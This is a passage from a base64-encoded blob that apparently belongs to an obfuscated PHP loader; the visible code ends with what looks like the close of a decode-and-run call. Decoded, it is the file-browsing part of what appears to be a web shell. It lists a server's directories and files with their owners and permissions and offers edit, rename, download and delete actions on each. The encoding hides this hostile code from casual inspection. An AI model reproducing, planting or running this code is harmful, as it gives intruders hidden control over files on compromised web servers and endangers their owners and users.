kaXI8L2E+PC90ZD4KCTx0ZCBjbGFzcz0ndGV4dC1jZW50ZXInPiRkdDwvdGQ+Cgk8dGQgY2xhc3M9J3RleHQtY2VudGVyJz4tPC90ZD4KCTx0ZCBjbGFzcz0ndGV4dC1jZW50ZXInPiRkb3duZXI8Z3I+OjwvZ3I+JGRncnA8L3RkPgoJPHRkIGNsYXNzPSd0ZXh0LWNlbnRlcic+IjsKaWYoaXNfd3JpdGFibGUoIiRwYXRoLyRkaXIiKSkgZWNobyAnPGdyPic7CmVsc2VpZighaXNfcmVhZGFibGUoIiRwYXRoLyRkaXIiKSkgZWNobyAnPHJkPic7CmVjaG8gcCgiJHBhdGgvJGRpciIpOwppZihpc193cml0YWJsZSgiJHBhdGgvJGRpciIpIHx8ICFpc19yZWFkYWJsZSgiJHBhdGgvJGRpciIpKSBlY2hvICc8L2dyPjwvcmQ+PC90ZD4nOwplY2hvICIKCTx0ZCBjbGFzcz1cInRleHQtY2VudGVyXCI+Cgk8Zm9ybSBtZXRob2Q9XCJQT1NUXCIgYWN0aW9uPVwiP29wdGlvbiZwYXRoPSRwYXRoXCI+CgkJPGRpdiBjbGFzcz1cImJ0bi1ncm91cFwiPgoJCQk8YnV0dG9uIGNsYXNzPVwiYnRuIGJ0bi1vdXRsaW5lLWxpZ2h0IGJ0bi1zbVwiIG5hbWU9XCJvcHRcIiB2YWx1ZT1cImdhbnRpX25hbWFcIj48aSBjbGFzcz0nYmkgYmktcGVuY2lsLWZpbGwnPjwvaT48L2J1dHRvbj4KCQkJPGJ1dHRvbiBjbGFzcz1cImJ0biBidG4tb3V0bGluZS1saWdodCBidG4tc21cIiBuYW1lPVwib3B0XCIgdmFsdWU9XCJoYXB1c1wiPjxpIGNsYXNzPSdiaSBiaS10cmFzaC1maWxsJz48L2k+PC9idXR0b24+CgkJPC9kaXY+CgkJPGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwidHlwZVwiIHZhbHVlPVwiZGlyXCI+CgkJPGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwibmFtZVwiIHZhbHVlPVwiJGRpclwiPgoJCTxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cInBhdGhcIiB2YWx1ZT1cIiRwYXRoLyRkaXJcIj4KCTwvZm9ybT4KCTwvdGQ+CjwvdHI+IjsKfQpmb3JlYWNoKCRzY2FuZGlyIGFzICRmaWxlKXsKCSRmdCA9IGRhdGUoIlktbS1kIEg6aTpzIiwgZmlsZW10aW1lKCIkcGF0aC8kZmlsZSIpKTsKCWlmKCFpc19maWxlKCRwYXRoLicvJy4kZmlsZSkpIGNvbnRpbnVlOwoJaWYoZnVuY3Rpb25fZXhpc3RzKCdwb3NpeF9nZXRwd3VpZCcpKSB7CgkJJGZvd25lciA9IEBwb3NpeF9nZXRwd3VpZChmaWxlb3duZXIoIiRwYXRoLyRmaWxlIikpOwoJCSRmb3duZXIgPSAkZm93bmVyWyduYW1lJ107Cgl9ZWxzZXsKCQkkZm93bmVyID0gZmlsZW93bmVyKCIkcGF0aC8kZmlsZSIpOwoJfQoJaWYoZnVuY3Rpb25fZXhpc3RzKCdwb3NpeF9nZXRncmdpZCcpKSB7CgkJJGZncnAgPSBAcG9zaXhfZ2V0Z3JnaWQoZmlsZWdyb3VwKCIkcGF0aC8kZmlsZSIpKTsKCQkkZmdycCA9ICRmZ3JwWyduYW1lJ107Cgl9ZWxzZXsKCQkkZmdycCA9IGZpbGVncm91cCgiJHBhdGgvJGZpbGUiKTsKCX0KZWNobyAiCjx0cj4KCTx0ZD48aSBjbGFzcz0nYmkgYmktZmlsZS1lYXJtYXJrLWNvZGUtZmlsbCc+PC9pPjxhIGNsYXNzPSd0ZXh0LWRlY29yYXRpb24tbm9uZSB0ZXh0LXNlY29uZGFyeScgaHJlZj1cIj9maWxlc3JjPSRwYXRoLyRmaWxlJnBhdGg9JHBhdGhcIj4kZmlsZTwvYT48L3RkPgoJPHRkIGNsYXNzPSd0ZXh0LWNlbnRlcic+JGZ0PC90ZD4KCTx0ZCBjbGFzcz0ndGV4dC1jZW50ZXInPiIuc3ooZmlsZXNpemUoJGZpbGUpKS4iPC90ZD4KCTx0ZCBjbGFzcz0ndGV4dC1jZW50ZXInPiRmb3duZXI8Z3I+OjwvZ3I+JGZncnA8L3RkPgoJPHRkIGNsYXNzPSd0ZXh0LWNlbnRlcic+IjsKaWYoaXNfd3JpdGFibGUoIiRwYXRoLyRmaWxlIikpIGVjaG8gJzxncj4nOwplbHNlaWYoIWlzX3JlYWRhYmxlKCIkcGF0aC8kZmlsZSIpKSBlY2hvICc8cmQ+JzsKZWNobyBwKCIkcGF0aC8kZmlsZSIpOwppZihpc193cml0YWJsZSgiJHBhdGgvJGZpbGUiKSB8fCAhaXNfcmVhZGFibGUoIiRwYXRoLyRmaWxlIikpIGVjaG8gJzwvZ3I+PC9yZD48L3RkPic7CmVjaG8gIgoJPHRkIGNsYXNzPVwidGV4dC1jZW50ZXJcIj4KCQk8Zm9ybSBtZXRob2Q9XCJQT1NUXCIgYWN0aW9uPVwiP29wdGlvbiZwYXRoPSRwYXRoXCI+CgkJCTxkaXYgY2xhc3M9XCJidG4tZ3JvdXBcIj4KCQkJCTxidXR0b24gY2xhc3M9XCJidG4gYnRuLW91dGxpbmUtbGlnaHQgYnRuLXNtXCIgbmFtZT1cIm9wdFwiIHZhbHVlPVwiZWRpdFwiPjxpIGNsYXNzPSdiaSBiaS1wZW5jaWwtc3F1YXJlJz48L2k+PC9idXR0b24+CgkJCQk8YnV0dG9uIGNsYXNzPVwiYnRuIGJ0bi1vdXRsaW5lLWxpZ2h0IGJ0bi1zbVwiIG5hbWU9XCJvcHRcIiB2YWx1ZT1cImdhbnRpX25hbWFcIj48aSBjbGFzcz0nYmkgYmktcGVuY2lsLWZpbGwnPjwvaT48L2J1dHRvbj4KCQkJCTxidXR0b24gY2xhc3M9XCJidG4gYnRuLW91dGxpbmUtbGlnaHQgYnRuLXNtXCIgbmFtZT1cIm9wdFwiIHZhbHVlPVwiZG93bmxvYWRcIj48aSBjbGFzcz0nYmkgYmktZG93bmxvYWQnPjwvaT48L2J1dHRvbj4KCQkJCTxidXR0b24gY2xhc3M9XCJidG4gYnRuLW91dGxpbmUtbGlnaHQgYnRuLXNtXCIgbmFtZT1cIm9wdFwiIHZhbHVlPVwiaGFwdXNcIj48aSBjbGFzcz0nYmkgYmktdHJhc2gtZmlsbCc+PC9pPjwvYnV0dG9uPgoJCQk8L2Rpdj4KCQkJPGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwidHlwZVwiIHZhbHVlPVwiZmlsZVwiPgoJCQk8aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJuYW1lXCIgdmFsdWU9XCIkZmlsZVwiPgoJCQk8aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJwYXRoXCIgdmFsdWU9XCIkcGF0aC8kZmlsZVwiPgoJCTwvZm9ybT4KCTwvdGQ+CjwvdHI+IjsKCX0KfQo/Pgo8L3Rib2R5Pgo8L3RhYmxlPgo8ZGl2IGNsYXNzPSd0ZXh0LXNlY29uZGFyeSc+JmNvcHk7IDw/cGhwIGVjaG8gIiAiLmRhdGUoJ1knKS4iICRfbiI7Pz48L2Rpdj4KPC9kaXY+CjwvZGl2Pgo8L2JvZHk+CjwvaHRtbD4K')); } });